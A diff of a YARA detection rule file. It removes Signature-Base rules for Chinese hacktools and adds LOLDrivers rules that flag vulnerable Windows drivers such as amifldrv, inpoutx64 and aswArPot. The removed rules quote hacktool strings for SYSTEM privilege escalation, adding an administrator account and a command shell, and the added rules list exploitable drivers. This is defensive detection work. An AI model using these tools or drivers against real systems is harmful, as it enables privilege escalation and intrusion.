 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "nessus_get_socket_from_connection: fd <%d> is closed" fullword ascii
-		$s2 = "[*] \"%s\" completed, %d/%d/%d/%d:%d:%d - %d/%d/%d/%d:%d:%d" fullword ascii
-		$s3 = "A FsSniffer backdoor seems to be running on this port%s" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049002f004f00200049006e00740065007200660061006300650020006400720069007600650072002000660069006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00420049004f0053005400410052002000470072006f00750070 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e0031003900300031002e0031003100300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e0031003900300031002e0031003100300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049002f004f0020006400720069007600650072 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00420049004f005300540041005200200049002f004f0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00420053005f005200430049004f00360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310038002d0032003000310039002000420049004f0053005400410052002000470072006f00750070 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1360KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Dos_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Amifldrvsys_Windowsrwinddkdriver_38D8 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file 1.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3f1cc1b3-bce2-5a29-849e-ee7deb5e8809"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L333-L347"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b554f0687a12ec3a137f321cc15e052ff219f28c"
-		logic_hash = "d4cf3e738743e5402602e045cf590b969dca2d6f7f1bdd57cc398df3392560d9"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - amifldrv64.sys, amifldrv.sys"
+		author = "Florian Roth"
+		id = "9c05031d-2062-53fb-982c-f874bf902b48"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9091-L9111"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "38d87b51f4b69ba2dae1477684a1415f1a3b578eee5e1126673b1beaefee9a20"
+		hash = "ffc72f0bde21ba20aa97bee99d9e96870e5aa40cce9884e44c612757f939494f"
+		logic_hash = "fb233e5c3cd88ab1450d3371b2f916af9dc8f0b5ffd145e47ad2f0678495b630"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "/churrasco/-->Usage: Churrasco.exe \"command to run\"" fullword ascii
-		$s2 = "/churrasco/-->Done, command should have ran as SYSTEM!" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0049002000470065006e00650072006900630020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0061006d00690066006c006400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0061006d00690066006c006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Othertools_Servu : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Inferre_Hwdetectngsys_Hwdetectngsys_D456 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file svu.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b750d090-8726-5d21-98ba-6cb050cb7174"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L349-L365"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5c64e6879a9746a0d65226706e0edc7a"
-		logic_hash = "fda476bdcc0bb496331ca9f506a1221d401d8671d23f61f1b88219c688163169"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - hwdetectng.sys"
+		author = "Florian Roth"
+		id = "861a355c-e883-5384-9d77-b572575905d1"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9114-L9135"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "d45600f3015a54fa2c9baa7897edbd821aeea2532e6aadb8065415ed0a23d0c2"
+		hash = "43136de6b77ef85bc661d401723f38624e93c4408d758bc9f27987f2b4511fee"
+		hash = "2f8b68de1e541093f2d4525a0d02f36d361cd69ee8b1db18e6dd064af3856f4f"
+		logic_hash = "8cf397f3b2c7d5b6a3517b40727839c9ab9a460375f0159f69c0d160a38cb470"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "MZKERNEL32.DLL" fullword ascii
-		$s1 = "UpackByDwing@" fullword ascii
-		$s2 = "GetProcAddress" fullword ascii
-		$s3 = "WriteFile" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00480057004400650074006500630074004e0047 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0069004e00460045005200520045 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00380020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0038 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00680077006400650074006500630074006e0067002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00680077006400650074006500630074006e0067002e007300790073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00680077006400650074006500630074006e0067002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280063002900200032003000300038002d0030003900200069004e00460045005200520045 }
 
 	condition:
-		uint32(0)==0x454b5a4d and $s0 at 0 and filesize <50KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Ustrrefadd : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Adlicesoftware_Truesight_Truesight_BFC2 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file ustrrefadd.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e6701e7e-bb15-5e0c-822b-3e29342e083c"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L367-L384"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b371b122460951e74094f3db3016264c9c8a0cfa"
-		logic_hash = "e44f180e081494e28b35b4129eb2c1817ed3e83f23d86f0d3dd4dcf27941cdf1"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - truesight.sys"
+		author = "Florian Roth"
+		id = "89e4602a-9233-5955-9edb-c09fb2b01376"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9138-L9157"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "bfc2ef3b404294fe2fa05a8b71c7f786b58519175b7202a69fe30f45e607ff1c"
+		logic_hash = "31bf547d77d003653090c31588635255d5983e179146bf53b5624dc3fdcf8422"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "E-Mail  : admin@luocong.com" fullword ascii
-		$s1 = "Homepage: http://www.luocong.com" fullword ascii
-		$s2 = ": %d  -  " fullword ascii
-		$s3 = "ustrreffix.dll" fullword ascii
-		$s5 = "Ultra String Reference plugin v%d.%02d" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0052006f006700750065004b0069006c006c0065007200200041006e007400690072006f006f0074006b006900740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410064006c00690063006500200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0033002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0033002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]005400720075006500730069006700680074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720075006500730069006700680074 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005400720075006500730069006700680074 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000410064006c00690063006500200053006f00660074007700610072006500280043002900200032003000320033 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <320KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Xscanlib : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_87B4 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file XScanLib.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e1e2cfad-7cbb-51c3-9b55-648c47af641e"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L386-L402"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c5cb4f75cf241f5a9aea324783193433a42a13b0"
-		logic_hash = "ff18c527df9ff2a4d72bcc5e4905d6f42877d42536edcb13608c6e0e6773aa63"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "3c2a3d3b-ec7f-509d-a00a-0bb1b73f50cf"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9160-L9179"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "87b4c5b7f653b47c9c3bed833f4d65648db22481e9fc54aa4a8c6549fa31712b"
+		logic_hash = "e1bf0fb9255ba7cd386ac0d51ce1d22ffde535a0064683f2178fac388b6944a0"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "XScanLib.dll" fullword ascii
-		$s6 = "Ports/%s/%d" fullword ascii
-		$s8 = "DEFAULT-TCP-PORT" fullword ascii
-		$s9 = "PlugCheckTcpPort" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056006900640069006100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00300035002e00340037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00300035002e00340037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <360KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Idtools_For_Winxp_Idttool : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Highresolutionenterpriseswwwhighrezcouk_Inpoutxsys_Inpoutxdriverversion_X_F581 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file IdtTool.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c157d467-87f8-59d5-a3ba-e4fbeeba767d"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L404-L419"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ebab6e4cb7ea82c8dc1fe4154e040e241f4672c6"
-		logic_hash = "9e14db3721afaba3ea5e9767afff593bf2b137306fe673acd7926bf6efc78391"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - inpoutx64.sys"
+		author = "Florian Roth"
+		id = "2103d553-3e8a-5f81-b54e-c125aa7746ca"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9182-L9203"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f581decc2888ef27ee1ea85ea23bbb5fb2fe6a554266ff5a1476acd1d29d53af"
+		hash = "f8965fdce668692c3785afa3559159f9a18287bc0d53abb21902895a8ecf221b"
+		hash = "2d83ccb1ad9839c9f5b3f10b1f856177df1594c66cbbc7661677d4b462ebf44d"
+		logic_hash = "ae7082fe90cf522f7bcbb615b751961972331147af1a56af961d35bf70e87f90"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "IdtTool.sys" fullword ascii
-		$s4 = "Idt Tool bY tMd[CsP]" fullword wide
-		$s6 = "\\\\.\\slIdtTool" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00650072006e0065006c0020006c006500760065006c00200070006f0072007400200061006300630065007300730020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048006900670068007200650073006f006c007500740069006f006e00200045006e0074006500720070007200690073006500730020005b007700770077002e006800690067006800720065007a002e0063006f002e0075006b005d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003200200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00320020007800360034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006e0070006f00750074007800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006e0070006f007500740078003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0032 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006e0070006f00750074007800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300030003800200048006900670068007200650073006f006c007500740069006f006e00200045006e007400650072007000720069007300650073002e00200050006f007200740069006f006e007300200043006f007000790072006900670068007400200028006300290020004c006f00670069007800340075 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <25KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Goodtoolset_Ms11046 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_12ED : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file ms11046.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a4703861-02a9-5d93-b6de-c3664ca8abb9"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L421-L438"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f8414a374011fd239a6c6d9c6ca5851cd8936409"
-		logic_hash = "2fb36a589613f97d0c3a4da58c65352689062a8ba6d432b5f3cf3b51a7e77f8c"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "d8599978-d388-5b67-99ff-d4bde156b433"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9206-L9225"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "12eda8b65ed8c1d80464a0c535ea099dffdb4981c134294cb0fa424efc85ee56"
+		logic_hash = "9c43c1e37bcc87d616e8d7fa1a610b4d3f28b60d2203d0e466939a41b1a8a7d7"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "[*] Token system command" fullword ascii
-		$s2 = "[*] command add user 90sec 90sec" fullword ascii
-		$s3 = "[*] Add to Administrators success" fullword ascii
-		$s4 = "[*] User has been successfully added" fullword ascii
-		$s5 = "Program: %s%s%s%s%s%s%s%s%s%s%s" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100320031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <840KB and 2 of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Cmdshell32 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realixtm_Hwinfosys_Hwinfokerneldriver_FF1C : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Cmdshell32.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f1dfb5a1-4292-5895-8310-913cfdf4d9d0"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L440-L455"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3c41116d20e06dcb179e7346901c1c11cd81c596"
-		logic_hash = "cfe3d72d33d7a3c2b70d4fa0767a921c1cfcd360b2094af40b067789cace95af"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HWiNFO32.SYS"
+		author = "Florian Roth"
+		id = "2c04159c-312f-52a5-8a6c-3fc8346dda5e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9228-L9247"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ff1ccef7374a1a5054a6f4437e3e0504b14ed76e17090cc6b1a4ec0e2da427a5"
+		logic_hash = "ee97df01a31ceb88274de9890887f6203bee9b173a2034ad4570a9bb92d13dd2"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "cmdshell.exe" fullword wide
-		$s2 = "cmdshell" fullword ascii
-		$s3 = "[Root@CmdShell ~]#" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570069004e0046004f00330032002f003600340020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200450041004c0069005800280074006d0029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0038002e003600300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0038002e00360030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800570069004e0046004f00330032002f003600340020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800570069004e0046004f00330032002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290031003900390039002d00320030003100310020004d0061007200740069006e0020004d0061006c00ed006b0020002d0020005200450041004c00690058 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <62KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Sniffer_Analyzer_Ssclone_1210_Full_Version : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_EBE2 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file Sniffer analyzer SSClone 1210 full version.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "69dac4bf-483d-5888-a748-1a52cf372066"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L457-L473"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6882125babb60bd0a7b2f1943a40b965b7a03d4e"
-		logic_hash = "982a213a106794e2cddb6148b3d3a119ae17fc318ad03237da1018e1859523d7"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "6d854b08-4675-53c5-9d7f-753c94310df0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L9250-L9269"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ebe2e9ec6d5d94c2d58fbcc9d78c5f0ee7a2f2c1aed6d1b309f383186d11dfa3"
+		logic_hash = "4f671c0023ef9bbb82a3fdd328709bb9c2a579fbef7f0a348b01fd4188ded3d4"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "http://www.vip80000.com/hot/index.html" fullword ascii
-		$s1 = "GetConnectString" fullword ascii
-		$s2 = "CnCerT.Safe.SSClone.dll" fullword ascii
-		$s3 = "(*.JPG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.BMP;*.GIF;*.ICO;*.CUR|JPG" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0032002e0034003100350037002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0032002e0034003100350037002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3580KB and all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_X64_Klock : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtierforwindows_V_CA34 : FILE
 {
 	meta:
-		description = "Chinese Hacktool Set - file klock.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7065a4fb-c867-5a94-b6bb-5b60085bea15"
-		date = "2015-06-13"
-		modified = "2023-12-05"
-		reference = "http://tools.zjqhr.com/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_cn_hacktools.yar#L475-L491"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
-		logic_hash = "3fe00c08607d20daa055db2f551009ff1c447f1a651d4a78aba91621d53424f5"
